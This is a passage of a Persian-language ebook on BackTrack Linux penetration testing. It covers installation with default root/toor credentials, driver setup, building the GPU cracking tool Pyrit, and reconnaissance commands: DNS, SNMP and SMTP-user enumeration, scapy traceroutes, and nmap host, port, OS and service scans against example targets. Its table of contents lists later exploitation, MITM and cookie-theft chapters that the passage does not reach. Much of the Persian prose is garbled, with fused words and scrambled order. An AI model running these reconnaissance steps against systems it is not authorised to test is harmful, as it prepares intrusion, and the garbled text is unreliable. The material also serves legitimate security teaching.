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پیشگفتار

هر راه بجز راه تو کج خواهد شد
بی لطف تو آسمان فلج خواهد شد

ما منتظران اگر بخواهیم همه
امسال همان سال فرج خواهد شد

فکرگناه پاك بودن عشق استاز
سینه چاك بودن عشق استهجرتواز

آن لحظه که راه می روي آقاجان
زیرقدم تو خاك بودن عشق است

:در مورد نویسنده

علیرضا عظیم زادهاینجانب .با سلام و درود به عاشقانی که هدفشان پیشرفت و سربلندي کشور عزیزمان ایران است
در صدد آمدم تا در جهت بالا بردن سطح امنیت سایبري در کشور عزیز و دوست داشتنی خودم ایرانAli.MP5ملقب به 

به هک و امنیت هستند و ممکن است تا لاصه  براي دوستانی که علاقه مندو خرا بنویسمديربریک  پی دي اف  کا
سري نکات شخصی و آموزشی و یکفاده کننداستروز -حدي با زبان هاي خارجه مشکل داشته  و نمی توانند از مطالب به

،  و در همین جا  باید از دوست و بگنجانمکردهلینک هایی پر کابرد را در این کتاب الکترونیکی  بسیار کوچک  آماده
Aliملقب به یمصطفعزیرم  Tahamtan نیز تشکر کنم که در قسمت ویرایش و تنظیم متون به من، کمک بسیار زیادي

.کرده  است

.واده عزیز تر از جانم که با لطف و صبرشان مرا در تمام مراحل زندگی ام  کمک کردندنتشکر فراوان از خا

آرزوهادلم غرق دردستهایم خالی است وخداوندا

یا

گرداندستانم را توانا به قدرت بیکرانت

یا

نیافتنی خالی کنآرزوهاي دستدلم را از
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فهرست مطالب

صفحهموضوع
Backشروع کار با : فصل اول  Track1

1)مهم(مقدمه آغاز کار
2نحوه دانلود سیستم عامل  بکترك  

3نصب بکترك در کنار دیگر سیستم عامل ها
7نصب بکترك به عنوان تنها سیستم عامل   

Flash-Memory7نصب بکترك بر روي 
Virtual-Box(10(بکترك بر روي ماشین مجازينصب 
Virtual-Box14بر روي VM-Toolsنصب 

Rootتغییر دادن  - Password15
15راه اندازي سرویس ها

Keyboard17چند زبانه کردن 

Backسفارشی کردن :فصل دوم Track18
Kernelه و آماده کردن یته Headers18

Broadcom19نصب  درایور
ATI video card22نصب و راه اندازي  

NVIDIA video card25درایور نصب 
27رهاي امنیتی اضافیاابزکانفیگ آپدیت واجرا و
ProxyChains27نصب 

TrueCrypt29با رمزنگاري فولدرها

41(Information Gathering)جمع آوري اطلاعات:فصل سوم 
41(Service enumeration)اطلاعات از سرویس هاکسب 

44شبکهتشخیص بازه هاي
ICMP netmask45درخواست فرستادن 

47تشخیص ماشین هاي فعال
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48بازي کشف پورت ها
51(OS fingerprint)انگشت نگاري دقیق سیستم عامل 

service fingerprint(52(انگشت نگاري سرویس ها 
54فصلسایت هاي  کابردي  

55(Vulnerability Identify)شناسایی آسیب ها: فصل چهارم 
55مقدمه

Nessus56نرم افزار نصب ، پیکربندي و شروع کار با
Nessus58با]لینوکس، ویندوز، شبکه محلی[کشف آسیب پذیري

OpenVAS61نرم افزارنصب ، پیکربندي و شروع کار با
OpenVAS68نحوه استفاده از نرم افزار 

OpenVAS69با]لینوکس، ویندوز، شبکه محلی[کشف آسیب پذیري
72فصلسایت هاي کاربردي

73(Exploitation)سوء استفاده: فصل پنجم 
73مقدمه

74(Active Exploits)اکسپلویت هاي فعال
passive)اکسپلویت هاي غیر فعال exploit)75

metasploitable77نصب و پیکربندي 
89)ابزار گرافیکی  متا اسپلویت(Armitageشروع کار با  

MSFCONSOLE (91(کار با متااسپلویت در محیط کنسول 
CLI)MSFCLI (94کار با متااسپلویت در محیط 

97و دستورات آنMeterPreterآشنایی با محیط 
MySQL105نفوذ به دیتابیس 
Postgresql107نفوذ به دیتابیس
browser_autopwn109ماژول پر قدرت

112سایت هاي کاربردي فصل

Privilege Escalation113)(کسب مجوز: فصل ششم
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113جعل هویت براي ورود به سیستم
framework<Social-Engineer Toolkit (SET)115کار با 

118جمع آوري اطلاعات قربانی
119پاك سازي ردپا

Man-in-the-middle attack (MITM)120پیاده سازي حملات 
URL124دستکاري در ترافیک هاي 

125)تغییر جهت(تعیین مسیر پورت ها 
125ل هایربودن  کوکی ها و گرفتن دسترسی به ایم

128سایت هاي  کاربردي فصل

Password Cracking130:فصل هفتم
Hydra130توسط HTTPکرك آنلاین پسورد و حملات 

BruteForce133گرفتن دسترسی از روتر توسط 
Password profiling134

John the Ripper135کرك پسورد ویندوز توسط متد 
136استفاده از دیکشنري در حملات

137حملات با دسترسی فیزیکی به سیستم
138سایت هاي کاربردي فصل

BackTrack Forensics140)(پزشکی دیجیتال : فصل هشتم
snort(140(مقدمه 

143رمزنگاري و رمزگشایی فولدرها و محتویات آن
146در سیستمrootkitبررسی وجود 

148حذف شده بخشی از سیستمبازیابی داده هاي
150بازیابی پسورد ویندوز

152پسورد ویندوز) reset(ریست
153رجیستري ویندوزدیدن

154سایت هاي کاربردي فصل
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Appendix One156: ه اولمضمی
tar ,zip ,tar.bzip2 ,tar.gz ]ایجاد و استخراج فایل با پسوندهاي ]156

UFW156کار با فایروال 
command  (161(آشنایی با دستورات 

163پسوندهاي مختلفنصب فایل با 
163دادن به فایل ها) مجوز(دسترسی

164انتقال فایل از ماشین مجازي به سیستم عامل
DHCP_Server&Client166نصب 

167سایت هاي  کاربردي فصل

Appendix Two168: ه دوممضمی
168کتاب هاي پیشنهادي
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فصل اول

Backtrackشروع کار با 

مقدمه

بـه  .بار تا آخر بخوانید و سپس بهترین روش را براي یادگیري انتخاب کنید تا دچار مشـکل نشـوید  هر فصل را یک:اخطار
فنـی در  يادر صورت مشاهده  ایـراد یـا خط ـ  .نکات ، اخطار  و پیشنهاداتی که در فصل ها  به آن اشاره شده  دقت کنید

مشکل فنی در کتـاب  "با موضوع Ali_Parkour68@yahoo.comل نویسنده در ارتباط باشید و آنها را بهیمتون  با ایم
. ارسال فرمایید"بکترك

.با تشکر فراوان از لطف شما عزیزان

Back|Track  چیست ؟

است که براي کشف نقاط ضعف امنیتی GNUمبتنی برلینوکسیک توزیع(Backtrack Linux)لینوکس بک ترك
اختیار در) دیسکبدون نیاز به نصب و یا وجود هارد (به صورت یک دي وي دي لایو هاي مختلف تهیه شده وسیستم

.همه قرار گرفته است

بک ترك مبتنی بر. دریافت استاست که از سایت رسمی بک ترك قابل5در حال حاضر آخرین آن نسخه بک ترك 
Ubuntu 10.04 پروژه ي بک ترك دیگر توسط تیم سازنده ي آن پشتیبانی نمی .ساخته شده است2٫6با هسته نسخه

.جایگزین آن شده استکالیشود و

سیاه ساخته شده و سریع ترین و آسان بک ترك براي تمام مخاطبان از نوابغ و کهنه کاران امنیت تا نو آموزان هنرهاي
نید گروه هايابداست کهجالب این.کامپیوتري، شبکه ها و سایتهاي اینترنتی استراه تست امنیت سیستم هايترین

کنند از جمله مشتریان اصلی بک کار میان کلاه سیاه زیرزمینی و هم متخصصان امنیتی که براي دولت هاي کشورش
.ترك هستند

: بزار هاي بک تركا

هاي بک ترك رابزا.شودنیز ابزار هاي هک وب سرور و شبکه را شامل میوکرکرابزار هاي پسوردبک ترك رنج وسیعی از 
:نده ابندي شدهطبقه دست11در 
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Information gathering)(جمع آوري اطلاعات)1

Vulnerability Identification)(شناسایی نقاط ضعف)2

1802.1Bluetooth, RFIDپروتکل هاي با )Network Analysis(سیمآنالیز شبکه هاي بی)3

)Privilege Escalation(کسب مجوز)4
پزشک قانونی دیجیتالانیا هم)Digital Forensics(بازیابی و بازجویی دیجیتال)5
6(Voice Over IP(VOIP)
)Network Mapping(نقشه یابی شبکه)7

)Web Application Analysis(آنالیز برنامه هاي تحت وب)8

)Exploit & Social Engineering Toolkit(حفره هاي امنیتیکشف)9

)Maintaining Access(کسب دسترسی غیر مجاز)10

)Reverse Engineering(مهندسی معکوس)11

بر روي سیستم خودتان چند روش  وجود دارد،که من در اینجا راحت ترین و بهترین liveرك به صورت تبراي نصب بک
.روش را براي شما توضیح خواهم داد

كدانلود بکتر

:از سایت زیر دانلود کنید

http://www.backtrack-linux.org/downloads/

:در رابطه با نوع دانلود چند نکته قابل ذکر است

.بیتی  بودن سیستم خود، اقدام به دانلود کنید64یا 32با توجه به :1نکته

.داردKDEوGnomeدو محیط کاربري BT5:2نکته

.باشدآن میGnomeپیشنهاد من به شما دانلود نسخه : 3نکته

).bit-torrentدر صورت نداشتن اکانت.(باشدآن میISO.سوند پیشنهاد من به شما دانلود نوع پ:4نکته

.باشدگرافیکی تر میKDEبهتر بوده، اما KDEاز Gnomeقابلیت :5نکته
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))نصب بکترك در کنار دیگر سیستم عامل ها (( روش اول 

Ease US Partition Masterابتدا شما باید نرم افزار)1 - free Home Editionدانلود کنیدآن را نسخه رایگان.

این نرم managerpartitionسپس بعد از نصب نرم افزار وارد بخش tool.com-www.partition: ینک دانلودل)2
.افزار شوید

بسازید، یعنی شما باید فضایی را از هارد دیسک خود را به صورت Unallocatedشما در اینجا باید یک فضایی به نام )3
یک پارتیشن، روي unallocatedبراي . را به این صورت در آوردم85GBکه در این شکل من .پارتیشن نشده در آورید

.کنیمانتخاب میراdeleteپارتیشن مورد نظر کلیک راست کرده و گزینه 

.است18GBشما حداقل فضایی که براي نصب بکترك لازم دارید :نکته

اطلاعات درایو خود را به یک درایو دیگر منتقل کرده و بعد از تغیرات نهایی ، اطلاعات را به 3قبل از انجام مرحله:اخطار
).بعد از اتمام تمام مراحل( جاي خود برگردانید 
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کار ما در ویندوز به پایان رسید سیستم .کنیمدر بالا ، در سمت چپ اعمال میapplyسپس تغییرات را با زدن دکمه )4
.شویممیBT5را ریست کرده و وارد بوت 

5(CD/DVDBT5را داخل گذاشته و وارد بوت آن شوید.

.شویدLive-BTرا بزنید تا وارد محیط Enterن را انتخاب کرده تغییر ندهید و آهم BTاولین گزینه از بالا را که خود )6

.را وارد نماییدstartxقیل از ورود دستور  )7

install backtrackانتخاب گزیته )8

...انتخاب ساعت و زمان و )9
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...انتخاب کیبورد و )10
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ایجاد شده باشد، شما در اینجا با گزینه اي به نام  unallocatedاگر آن فضاي .  ت کنیدقبه این مرحله کاملا د)11
ینه نیست، اما در حین نصب خواهید زرو به رو خواهید شد، در این شکل آن گ"استفاده کامل از فضاي استفاده نشده"

.دید

specifyکند و گزینه تمام فضاي هارد شما را فرمت میeraseنکنید ، چون هه هاي داخل شکل استفادناز گزی:نکته

.کندبه صورت دستی هدایت میBTشما را براي کانفیگ 

.installانتخاب گرینه)12
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.شودساعت انجام می1نصب در کمتر از )١٣

.restart nowانتخاب )١۴

:خواهد و شما  لغات زیر را وارد کنیدمیpasswordو userاز شما )15

User: root

pass: toor

root@bt: startx

))نصب بکترك به عنوان تنها سیستم عامل (( روش دوم 

را انتخاب نمایید، تمام هارد erase، گزینه 11شما دیگر نیازي نیست طبق مراحل بالا بروید، فقط کافیست در مرحله 
.روي آن نصب می شودBTشما پاك و فقط 

))Flash-Memoryنصب بکترك بر روي (( روش سوم 

.فضا دارید12GBبراي نصب بر روي فلش نیاز به حداقل :  1نکته

.فرمت کنیدFAT32فلش خود را با فرمت :2نکته

دارید،UNetBootinشما نیاز به نرم افزاري مثل )1

www.unetbootin.sourceforge.net:لینک دانلود



8

.فلش را به سیستم وصل کرده و نرم افزار بالا را اجرا کنید)2

.DiskImageانتخاب گزیته  )3

Browseانتخاب کرده و ISOپسوند را  )4 .بکترك خود را  مسیر دهی کنیدISO.را انتخاب کرده و قایل ....

. نوشتن مقدار عددي براي فضاي نصب)5
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. OKمرحله نصب و زدن دکمه )6

.Reboot-Nowانتخاب )7

. شود و بالا می آیدبوت میUSBبینید که بکترك از طریق  می)8

.انجام دهید"ملعاند سیستم چنصب بکترك در کنار "به  بعد  در روش 7ل  حطبق مراادامه نصب هم)9
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:USBبالا بردن امنیتلینک هاي کاربردي براي 
1) http://www.ucd.ie/itservices/itsuppo...singtruecrypt/

2) https://help.ubuntu.com/community/GPGKeyOnUSBDrive

3) http://www.ucl.ac.uk/isd/common/cst/...ngUSBTrueCrypt

4) http://www.wikihow.com/Install-Backtrack-Live-to-USB

) ))virtual-box( نصب بکترك بر روي ماشین مجازي(( روش چهارم 

:  دانلود ماشین مجازي از سایت)1

A. virtual-box.com

B. https://www.virtualbox.org/wiki/Downloads

. دوز را دانلود نماییدنت ویحشما نسخه ت

.Newکلیک روي گزینه )2
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.دهیدBTخواهید به که میRAMانتخاب میزان )3

.انتخابی بستگی به رم خود سیستم شما داردRam:1نکته 

.، رم گرفته شده از سیستم،  مجدد به سیستم بر می گردد) VM(مجازيپس از خاموش کردن  ماشین: 2نکته 
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.کردیمVBماده براي کار  بر روي آرا BTتا اینجا 

.settingانتخاب )4

.برویدstorageبھ )۵
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.بکترك را انتخاب کنیدisoفایل  )6

.کلیک کنیدOKدر نهایت بر روي )7
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.کلیک کنیدstartرا انتخاب کرده و روي ..........Backtrackماشین )8

.باشدمی"سیستم عاملنصب بکترك به عنوان تنها "نحوه نصب هم  مثل روش  )9
:virtual-boxبر روي  VM-Toolsنصب 

.مراحل زیر را بروید. شدیدBTمحیطوقتی وارد



15

rootتغییر دادن  – password:
passwd:وارد کردن دستور در ترمینال

:راه اندازي سرویس ها 
service [name-service] [start/stop]

service apache2 start

service pure-ftpd stop

:netcatچک کردن  وضیعت سرویس با 
netcat -tpan | grep 22

.شماره پورت:٢٢

:FTP serverچک کردن 

netcat -tpan | grep 21

:شروع به کار سرویس از لحظه بوت شدن سیستم
update-rc.d –f  <service name> defaults

update-rc.d –f ssh defaults

:براي فعال و غیر فعال کردن سرویس ها  به مسیر زیر بروید:نکته

applications > backtrack > services

:کار با  شبکه 

:به مسیر زیر بروید

Applications>>>Internet >>>>Wicd Network Manager

یا دستور زیر
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wicd-gtk --no-tray

و keyکلیک کرده و در فسمت propertiesشبکه مورد نظر را انتخاب کرده و روي Wi-Fiشبکهبراي وصل شدن به 
.نیدکokرا هم براي وصل شدن مشحص کنید و encryptionنوع 
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:چند زبانه کردن کیبورد 

:به مسیر زیر بروید
system >> preferences >> keyboard

.را انتخاب کرده و زبان خود را مشخص کنیدaddبروید، گزینه layoutsسپس به  برگه
.کلیک کنیدoptionتغییر زبان،  روي shortcutبراي تغییر دادن کلید هاي 

.را انتخاب کنیدKey(S) to change layout، گزینه  optionسپس در این بخش از 
.را انتخاب کنیدalt + shift:پیشنهاد 

:نرم افزار  کاربردي 2نصب  

:نرم افزار را نصب کنید2ولی فعلا شما این .کامل راجع به دستورات بحث خواهد شد،در فصل سوم

1. sudo apt-get update

2. apt-get install synaptic

apt-get install software-center

یا

apt-get install synaptic sudo

sudo apt-get install software-center
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دومفصل

Backtrackسفارشی کردن

مقدمه

.شویماري اطلاعات و دیگر ابزار ها  آشنا میگدر این فصل نحوه کار با  درایورها ، نصب آن، رمزن

ارید مسلط به این توزیع شوید و بعد از اتمام این کتاب، این فصل را ذزیر نشوید، بگبه نظر من فعلا وارد مباحث : نکته
.بخوانید

:این بخش نمی باشدهاي باشد  و شامل دیگر سر فصلمنظورم  سرفصل هاي زیر می

driver broadcomنصب )1

carddriver ATI videoنصب)2

kernel headersنصب  )3

driver NVIDIA cardنصب )4

:kernel headersو آماده کردنه یته

:دستورات زیر را وارد کنید

1) prepare-kernel-sources

2) cd /usr/src/linux

cp -rf include/generated/* include/linux/

3) prepare-kernel-sources
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broadcomنصب  درایور

: روش اول

:در ترمینال 

1) cd /tmp/
wget www.broadcom.com/docs/linux_sta/hybri-portsrc_x86_64-v5_100_82_112.tar.gz
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ساخت فولدر)2

mkdir broadcom

3(extractکردن فایلی که فشرده شده است:

tar xvfz hybrid-portsrc_x86_64-v5_100_82_112.tar.gz -C /tmp/broadcom

:دستورات زیر)4

make clean
make
make install
5) update dependencies :

depmod -a
:در بالا آمدن سیستمجلوگیري کردن از بالا آمدن ماژول ها)6

echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf

:کنیمماژول هاي پیدا شده را با دستور زیر پاك می)7

rmmod <module>b43

:در بالا آمدن سیستمجلوگیري  کردن از بالا آمدن ماژول ها)8

echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf

:boot-processاضافه کردن ماژول جدید به)٩

modprobe wl
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:روش دوم 
:دستور زیر)1

lspci -vnn | grep Network

:یجه دستور بالا در سیستم منتن
Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller [14e4:4727 ] (rev01)

2(PCI-ID مده را در سایت زیر چک کنیدآبه دست:

http://wireless.kernel.org/en/users/Drivers/b43

e4:472714:براي من)3

:سپس

sudo apt-get remove bcmwl-kernel-source
sudo apt-get install b43-fwcutter

.نلود کنیدان را در گوگل سرچ دآدستور پایینی ممکن است اجرا نشود که شما باید 

sudo apt-get install firmware-b43-installer

:سپس)4

cat /etc/modprobe.d/* | egrep 'bcm'

.دهدست نشان میییک سري ل

:باید به این صورت عمل کنیداگر نه،.هستokست کهیوجود داشت در لاسم پایینی اگر این

blacklist bcm43xxاین اسم باید درblackllistباشد.

:دهیددر صورت نبودن مراحل زیر را انجام
cd /etc/modprobe.d/
sudo gedit blacklist.conf

:اضافه کنیدسپس )5

blacklist bcm43xx

.کنیدsaveو
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:broadcomکاربردي براي نصب درایور سایت هاي 
http://wireless.kernel.org/en/users/Drivers/b43

http://askubuntu.com/questions/55868...reless-drivers

https://help.ubuntu.com/community/Wi...Driver/bcm43xx

http://wiki.debian.org/bcm43xx

http://www.linuxquestions.org/questi...u-lucid-875477

http://ubuntuforums.org/showthread.php?t=915449

:ATI video cardنصب و راه اندازي  

:دستور زیر)1

cd /tmp/

:دانلود فایل )2

http://support.amd.com/us/gpudownload/Pages/index.aspx

wget http://www2.ati.com/drivers/linux/amd-driver-installer- 12-1-x86.x86_64.run

:دستور نصب )3

sh amd-driver-installer-12-1-x86.x86_64.run
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.کنیدrestartسیستم را )4

:نصب بسته هاي  مورد نظر)5

apt-get install libroot-python-dev libboost-python-dev libboost1.40-all-dev cmake

: AMD APP SDKدانلود )6

wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.6- lnx64.tgz

:ساخت فولدر)7

mkdir AMD-APP-SDK-v2.6-lnx64

:خارج کردن از فشرده سازي)8

tar zxvf AMD-APP-SDK-v2.6-lnx64.tgz –C /tmp/AMD-APP-SDK-v2.6- lnx64

:به مسیر زیررفتن )9

cd AMD-APP-SDK-v2.6-lnx64
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10) sh Install-AMD-APP.sh

11) echo export ATISTREAMSDKROOT=/opt/AMDAPP/ >> ~/.bashrc
ssource ~/.bashrc

:Pyritو ++CALدانلود کامپایل براي )12

cd /tmp/

svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp

cd calpp/trunk

cmake

make

make install

cd /tmp/

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src

cd pyrit_src/pyrit

python setup.py build

python setup.py install

:OpenCLنصب )13

cd /tmp/pyrit_src/cpyrit_opencl

python setup.py build

python setup.py install

:cpyrit_calppایجاد تغییرات در فایل)14

cd /tmp/pyrit_source/cpyrit_calpp

vi setup.py

:ایگزین کنیدجپیدا کنید و راخط زیر

VERSION = '0.4.0-dev'
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با

VERSION = '0.4.1-dev'

:زو نی

CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include'))

ای

CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include/CAL'))

.یک ریست هم بکنید. نصب کنید و تمام)15

python setup.py build

python setup.py install

:NVIDIA video cardدرایور نصب 

.میدهبیتی را قرار می32در پایان . بیتی است64دستور زیر براي :نکته

1) cd /tmp/

2) wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/driv ers/NVIDIA-Linux-
x86_64-285.05.33.run

:دادن مجوز لازم)3

chmod +x NVIDIA-Linux-x86_64-285.05.33.run

4) ./NVIDIA-Linux-x86_64-285.05.33.run –kernel-source-path='/usr/src/linux'
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:cuda toolkitدانلود)۵

wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/tool
kit/cudatoolkit_4.1.28_linux_64_ubuntu11.04.run

6) chmod +x cudatoolkit_4.1.28_linux_64_ubuntu11.04.run

:اجرا کردن برنامه)٧

./cudatoolkit_4.1.28_linux_64_ubuntu11.04.run

:دستورات زیر)8

echo PATH=$PATH:/opt/cuda/bin >> ~/.bashrc
echo LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cuda/lib >> ~/.bashrc
echo export PATH >> ~/.bashrc
echo export LD_LIBRARY_PATH >> ~/.bashrc

9) source ~/.bashrc

ldconfig

١٠(apt-get install libssl-dev python-dev python-scapy

11)

a. svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src

cd pyrit_src/pyrit

python setup.py build

python setup.py install

b. cd /tmp/pyrit_src/cpyrit_cuda

python setup.py build

python setup.py install

:براي چک کردن نهایی)12

nvcc –V

و

pyrit benchmark
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:اجرا  و  آپدیت  و کانفیگ کردن ابزرهاي امنیتی اضافی

:به آنآپدیت کردن سیستم و وابستگی هاي مربوطه)1

apt-get update

:آپگرید کردن سیستم)2

apt-get upgrade

:آپگرید کردن به جدیدترین ورژن)3

apt-get dist-upgrade

4) apt-get install squid3

:براي فعال نشدن سرویس در بالا آمدن سیستم

update-rc.d -f squid3 remove

:ProxyChainsنصب 

:vimویرایش فایل با دستور )1

vim /etc/proxychains.conf

:آن را پاك کنید) #(این خط را پیدا کرده و  شارپ

#dynamic_chain

:نتیجه
dynamic_chain
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:خواهید از آن استفاده کنیدهایی که مینوشتن پروکسی سرور)2
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:باز کردن سایت با  این پروکسی)3

proxyresolv www.targethost.com

proxyresolv www.yahoo.com

:TrueCryptبا  رمزنگاري  فولدرها

:به مسیر زیر بروید)1

Applications | BackTrack | Forensics | Digital Anti Forensics | install truecrypt

.دوباره مسیر بالا بروید و اجرا کنید)2

3(
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4(create volume

5(
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6(

:انتخاب مسیر درایور مورد تظر)7
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8(

9(
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10(

:خود را تعیین کنید براي ساخته شدنvolumeدر اینجا سایز)11
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12(

13(

14(
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15(

16(

17(
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18(volumeي را که با ناماmy volumeساخته شده بود را انتخاب کنید:

19(
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20(

21(
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22(

23(
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:کلیک کنیدdismountساخته شده را حذف کنید رويvolumeدر صورتی که می خواهید)24
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:ي و عالی در نصب درایورها سایت هاي کاربرد
.ولی درست چک و بررسی کنیدت کنید که نزدیک به موضوع ما هستدق

http://pkgs.org/ubuntu-10.04/ubuntu-..._i386.deb.html

http://ubuntuguide.net/install-nvidi...tu-lucid-10-04

http://www.ubuntugeek.com/howto-inst...ucid-lynx.html

http://ldt-clan.com/forum/threads/26...butnu-10-4-LTS

http://www.truecrypt.org/

http://pkgs.org/ubuntu-10.04/ubuntu-..._i386.deb.html

http://pkgs.org/ubuntu-10.04/ubuntu-..._i386.deb.html

:بیتی ها64و 32براي : این خیلی خوبه

http://tjwallas.weebly.com/5/post/20...on-ubuntu.html
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سومفصل

Information Gathering
:مقدمه

در این فصل  در مورد به دست آوردن اطلاعات بیشتر از هدف خود مثل شبکه یا یک سایت صحبت خواهیم کرد و چگونه 
با  سرویس هاي کاربردي را توضیح خواهیم این اطلاعات را  سندسازي کنیم  تا بتوانیم از آن استفاده کنیم و نحوه کار 

.داد

Service enumeration :

enumerationست؟یچ

:مثل. میاز شبکه به دست آوریاطلاعات خوب و کاملکندیاست که به ما کمک ميندیفراکی

DNS enumeration, SNMP enumeration

DNS enumeration:

ipو computer nameو usernameهدف از قبیل  از بحرانیو اطلاعات کندیما مشخص ميسرور ها را براتیموقع

addressبه ما میدهد... و.

:به مسیر زیر بروید

cd /pentest/enumeration/dns/dnsenum/

:استفاده از سرویس مورد نظر

./dnsenum.pl --enum target.com

:دیدن تمام دستورات

./dnsenum.pl --help  یا ./dnsenum.pl -h

:نتیجه
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:دستورات اختیاري

--]threads number[لحظه و همزمان با هم اجرا شوندکیدر دیخواهیکه مییهاندیتعداد فرا.

-rفعال کردنlookups

-dدرخواست يبراریکردن تاخجادیاWHOIS

-oجینتارهیذخعتیموق

-wيبرایفعال کردن صفWHOISها

SNMP enumeration:

.وانیدخمطلب بSNMPحتما در رابطه با .میکنزیرا آنالSNMPکیکه ترافکندیما کمک مبه

:به مسیر زیر بروید)1

cd /pentest/enumeration/snmp/snmpenum/

:اجراي دستور)2

perl snmpenum.pl 192.168.10.200 public windows.txt
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:دهدفعال باشد اطلاعات زیر را به ما می192.168.10.200در تارگت SNMPاگر سرویس : نکته

Installed software
Users
Uptime
. Hostname
. Discs

:دستور اصلی

Perl snmpenum.pl [ip address to attack] [community] [config file]

:snmpwalk enumeration

.شوداستفاده می) ویندوزيهاست هاي سري(windows hostبراي  : نکته

:دیدن اطلاعات تارگت به صورت درختی)1

snmpwalk -c public 192.168.10.200 -v 2c

:دیدن نرم افزار هاي نصب شده)2

snmpwalk -c public 192.168.10.200 -v 1 | grep hrSWInstalledName

:نتیجه

HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: "VMware Tools"

HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: "WebFldrs""

:TCPشماردن پورت هاي  باز )3

snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState cut -d"." -f6 | sort –nu|

:نتیجه
21
25
80
443
...
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: SNMPcheck enumeration

.شوداستفاده میSNMP protocolsاز این ابزار براي به دست آوردن اطلاعات در مورد 

:مسیر زیر.1

cd /pentest/enumeration/snmp/snmpcheck/

:دستور زیر.2

perl snmpcheck.pl -t 192.168.10.200

: fierce enumeration

.کندها  تارگت از چند تکنیک استفاده میhostnameها  و  ip addressبراي به دست آوردن تمام 

:مسیر زیر)1

cd /pentest/enumeration/dns/fierce/

:دستور زیر)2

perl fierce.pl -dns target.com

:و ذخیره نتایج در مسیري خاصword-listیا به صورت )3

perl fierce.pl -dns target.com -wordlist hosts.txt -file /tmp/output.txt

:smtp-user enumeration

.قرار دارندSMPT-serverبراي به دست آوردن تعداد یوزرهایی که در 

:زیردستور

smtp-user-enum.pl -M VRFY -U /tmp/users.txt -t 192.168.10.200

:Determining the network range

.هاي یک شبکه را تعیین کنیمipخواهیم  رنج مت ما میسدر این ق
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dmitry:

.ها sub-domainشود و حتی تعداد هاي  تارگت استفاده میipبراي به دست اوردن رنج 

:دستور زیر

dmitry -wnspb targethost.com -o /root/Desktop/dmitry-result

:دستورات اختیاري

-wnspb اجازهWHOIS lookupدهدرا به ما می.

-oذخیره فایل در جایی مناسب.

:ICMP netmaskدرخواست فرستادن 
netmask -s targethost.com

scapy:

انتهاي فصل در) یوتوب(هاي کاربردي مبحث می توانید از لینک هاي زیر و لینک هاي سایتبراي فهم بیشتر و بهتر این 
:فصل استفاده کنید
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http://www.arppoisoning.com/demonstrating-an-arp-poisoning-attack-2/
http://www.secdev.org/projects/scapy/demo.html

http://packetlife.net/blog/2011/may/23/introduction-scapy

:دستور زیر.1

scapy

:دستور زیر.2

ans,unans=sr(IP(dst="www.targethost.com/30", ttl=(1,6))/TCP())

:دیدن خروجی بالا در یک جدول.3

ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )

216.27.130.165 216.27.130.164 216.27.130.163 216.27.130.162

192.168.10.1 192.168.10.1 192.168.10.1 192.168.10.1 1

51.37.219.254 51.37.219.254 51.37.219.254 51.37.219.254 2

223.243.4.254 223.243.4.254 223.243.4.254 223.243.4.254 3

223.243.2.6 223.243.2.6 223.243.2.6 223.243.2.6 4

192.251.251.80 192.251.254.1 192.251.251.80 192.251.254.1 5
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:tracerouteپیاده سازي عمل 

:دستور زیر.1

res,unans=traceroute(["www.google.com","www.backtrack-
linux.org","www.targethost.com"],dport=[80,443],maxttl=20, retry=-2)

. باشد20آن TTL(time to live)شود در صورتی هم که بررسی می443و80چند هاست مختلف بر اساس پورت  

.این مثال بشوید20عددهمطالبی بخوانید تا متوجدر روترها  ttlدر مورد : شنهادیپ

:دیدن به صورت گراف.2

res.graph()

:ذخیره در مسیر خاص.3

res.graph(target="> /tmp/graph.svg")

:براي خروج.4

exit()

Identifying active machines:

هایی که در آن رنج شبگه فعال  هستند را پیدا Ipخواهیم قبل از اینکه عمل نفوذ به  قربانی را انجام دهیم اول باید ما می
. کنیم

:nmapبا دستور )1

nmap -sP 216.27.130.162
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:نتیجه
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-27 23:30 CDT
Nmap scan report for test-target.net (216.27.130.162)
Host is up (0.00058s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

:npingبا دستور )2

.در ارتباط استnmapیکی از ابزارهایی است که با 
nping --echo-client "public" echo.nmap.org

:براي پویش یک پورت خاصhexده از یک مقدار ااستف)3

nping -tcp -p 445 –data AF56A43D 216.27.130.162

Finding open ports:

.پویش و پیدا کردن پورت هاي  باز

:دیدن  تمام پورت هاي باز روي تارگت مورد نظر

nmap 192.168.56.102
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:در رنج خاصدیدن پورت ها

nmap -p 1-1000 192.168.56.102
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:22در پورت هاست هااسکن تمام

nmap -p 22 192.168.56.*

:در مسیر خاصجذخیره نتای

nmap -p 22 192.168.10.* -oG /tmp/nmap-targethost-tcp22.txt

.توانند از آن استفاده کننداین دستورات ندارند میهدارد، دوستانی که علاقه ب)GUI(یک نسخه گرافیکیnmap:1نکته
:است و در مسیر زیر قرار داردzenmapنام این برنامه 

Applications | BackTrack | Information Gathering | Network Analysis | Network Scanners |
zenmap

:زیر را بنویسیدیا  دستور 

zenmap
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.ن را دانلود کنیدآوجود دارد، سعی کنید آخرین ورژن nmapSIیک برنامه دیگري هم به نام  :2نکته

Operating system fingerprinting:
.ها را شناختیمopen portوactive machineوip addressتا این لحظه و تا اینجا ما توانستیم اطلاعاتی از قبیل

.بر روي تارگت را پیدا کنیماجراحال در عاملحالا نوبت رسیده که سیستم

:)Detect OS(تشخیص سیستم عامل

nmap -O 192.168.56.102

.ت فرماییدقبه حروف کوچک و بزرگ د: نکته
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Service fingerprinting:

.و ورژن آنها می باشدوقتی مرحله قبل با موفقیت انجام شود حالا نوبت شناسایی سرویس ها

:دستور زیر)1

nmap -sV 192.168.10.200

:نتیجه

